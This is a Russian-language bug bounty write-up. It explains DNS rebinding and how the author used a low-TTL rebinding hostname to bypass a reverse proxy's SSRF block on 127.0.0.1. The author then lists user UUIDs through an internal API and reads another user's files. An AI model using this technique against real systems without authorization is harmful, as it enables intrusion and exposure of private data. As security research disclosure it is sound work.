  <blockquote id="MyA7">Во время тестирования данной программы bugbounty мною было замечено, что сервер использует Reverse Proxies, и запросы которые мы отправляем, сначала проходят через этот прокси-сервер, а затем reverse-proxy перенаправляет их на внутренний сервер.</blockquote>
  <p id="BPvU">В этом момент я вспоминаю об уязвимости <strong>DNS Rebinding</strong>!</p>
  <h3 id="Попробую-сначала-объяснить-как-работает-DNS-и-данная-уязвимость.">Попробую сначала объяснить как работает DNS и данная уязвимость.</h3>
  <p id="yuOR">Для того чтобы понять, как работает данная уязвимость, необходимо разобраться с тем, что такое DNS и сам DNS rebinding.</p>
  <p id="7paM">DNS (Domain Name System) - это система доменных имен, и её работа примерно следующая:</p>
  <p id="FN22">Когда вы посещаете какой-либо сайт, например, google.com, ваш компьютер или маршрутизатор сначала выполняет DNS-запрос к ближайшему DNS-серверу</p>
  <figure id="dpPn" class="m_column">
    <img src="https://img2.teletype.in/files/d7/2e/d72e94a1-48a8-4130-a778-ec8599b1b43c.png" />
  </figure>
  <p id="PneO">DNS-сервер возвращает IP-адрес, который соответствует имени хоста google.com. После того как браузер получит данный IP-адрес, он будет использовать его для перехода на сайт google.com</p>
  <figure id="Y65F" class="m_column">
    <img src="https://img2.teletype.in/files/51/86/51869058-29b2-446c-a052-9604cf3ed5c2.png" />
  </figure>
  <h3 id="DNS-Rebinding">DNS Rebinding</h3>
  <p id="2nnS">Теперь, когда мы принудительно отправляем HTTP-запрос на <strong>127.0.0.1</strong>, наш запрос сначала проверяется с помощью <strong>reverse-proxy</strong>, который проверяет, какой IP-адрес разрешен</p>
  <figure id="CQtw" class="m_column">
    <img src="https://img3.teletype.in/files/ee/bb/eebbb963-2fb7-4eb2-bbb0-2ca7f902709f.png" />
  </figure>
  <p id="TZPV">Если это <strong>127.0.0.1</strong>, то <strong>reverse-proxy</strong> полностью отклонит запрос, и он не будет перенаправлен на внутренний сервер. Однако, если разрешены любые домены с IP-адресом, отличным от <strong>127.0.0.1</strong>, то <strong>reverse-proxy </strong>перенаправит запрос на внутренний сервер, и это является важной частью атаки.</p>
  <figure id="JmzH" class="m_column">
    <img src="https://img4.teletype.in/files/fa/1d/fa1d0d69-9098-4250-92ee-9b3dd38a28e4.png" />
  </figure>
  <p id="eUnK">Прямо перед тем, как внутренний сервер сделает запрос к домену, домен будет перепривязан на <strong>127.0.0.1</strong>, и это произойдет благодаря низкому <strong>TTL</strong>. В момент, когда внутренний сервер делает HTTP-запрос к нашему домену, он будет переадресован на <strong>127.0.0.1</strong>, что обманет внутренний сервер и позволит получить доступ к внутренней системе.</p>
  <figure id="uSM7" class="m_column">
    <img src="https://img4.teletype.in/files/77/ae/77aef339-b5f8-45e0-8c4e-0e8876e11557.png" />
  </figure>
  <p id="027g"><strong>Как будто это больше похоже на Race Condition чем на SSRF :)</strong></p>
  <h3 id="Exploit">Exploit</h3>
  <p id="y7DS">Чтобы воспользоваться данной атакой, можно использовать этот <a href="https://lock.cmpxchg8b.com/rebinder.html" target="_blank">инструмент</a> для перепривязки <strong>DNS</strong> имени:</p>
  <figure id="wkxO" class="m_column">
    <img src="https://img2.teletype.in/files/d9/a3/d9a3b8f9-039d-4ec0-a230-d77ff7704c22.png" />
  </figure>
  <p id="0h6Z">Имя хоста, сгенерированное на этой странице, будет случайным образом перепривязываться на один из адресов с очень низким TTL.</p>
  <h3 id="TTL---Time-To-Live">TTL - Time To Live</h3>
  <p id="h2Q7"><strong>Time To Live</strong> означает &quot;время жизни&quot; и является важным механизмом, используемым локальным <strong>DNS</strong> для кэширования всех адресов, которые преобразуются в домены, которые вы посетили. Когда истекает <strong>TTL</strong>, срок действия кэша истекает, и при следующем посещении домена, который был закэширован, ваш компьютер выполняет новый <strong>DNS-запрос</strong>, чтобы преобразовать домен в <strong>IP-адрес</strong>. В нашем случае для этого имени хоста <strong>TTL</strong> будет менее одной секунды. В качестве первого параметра указывается 127.0.0.1, а второй - наша VPS.</p>
  <p id="0lVu">Но для демонстрации атаки достаточно будет использовать ip адрес google:</p>
  <figure id="l0zs" class="m_column">
    <img src="https://img3.teletype.in/files/ea/6c/ea6cdf07-2615-4744-b0e9-afc544342bc7.png" />
  </figure>
  <p id="3DnC">Сейчас, когда мы делаем запрос на получившееся доменное имя, можно заметить, что иногда адрес разрешается в 64.233.164.100, а иногда в 127.0.0.1.</p>
  <figure id="4BZ2" class="m_column">
    <img src="https://img1.teletype.in/files/89/9e/899e845b-a456-470f-bb29-7a51c17e1874.png" />
  </figure>
  <figure id="RO4x" class="m_column">
    <img src="https://img1.teletype.in/files/85/e8/85e81a5d-36a9-4801-8850-92a467017989.png" />
  </figure>
  <p id="FMlK">Именно сгенерированное доменное имя и поможет при эксплуатации данной уязвимости. Сделаем запрос и отправим его несколько раз, пока не обойдём ограничение:</p>
  <figure id="JbSf" class="m_column">
    <img src="https://img3.teletype.in/files/2a/a9/2aa9e930-3aad-4ada-b692-b56d710c54d7.png" />
  </figure>
  <blockquote id="pXCG">Таким образом, получается обойти защиту от SSRF и получить доступ к внутреннему серверу. Однако можно заметить, что возвращаемый ответ - 404, и стоит добиться большего импакта.</blockquote>
  <p id="laIE">Для этого необходимо попробовать найти пути или файлы внутри системы. Во время анализа API был обнаружен метод <strong>/api</strong>, который раскрывает внутреннюю информацию:</p>
  <figure id="4TQ8" class="m_column">
    <img src="https://img4.teletype.in/files/3d/64/3d64fdd3-eca5-4f09-9810-e023441abd7b.png" />
  </figure>
  <p id="zsd6">И когда я отправил запрос на конечную точку <strong>/api/users</strong>, мне вернулись <strong>uuid</strong> всех зарегистрированных пользователей:</p>
  <figure id="nBep" class="m_column">
    <img src="https://img1.teletype.in/files/4a/b6/4ab69aae-943f-4242-9c34-445c8afc461b.png" />
  </figure>
  <p id="GV18">Вспомнив запрос, который отправлялся для получения файлов, попробуем добавить параметр <strong>uuid</strong> в запрос и получить доступ к файлам другого пользователя:</p>
  <figure id="cPCg" class="m_column">
    <img src="https://img1.teletype.in/files/4f/8b/4f8b43b7-bd6e-43fe-8caf-66cc3bee04ea.png" />
  </figure>
  <p id="SDoM">Канал автора статьи - <a href="https://t.me/wr3dmast3rvs" target="_blank">https://t.me/wr3dmast3rvs</a></p>

]]></content:encoded></item></channel></rss>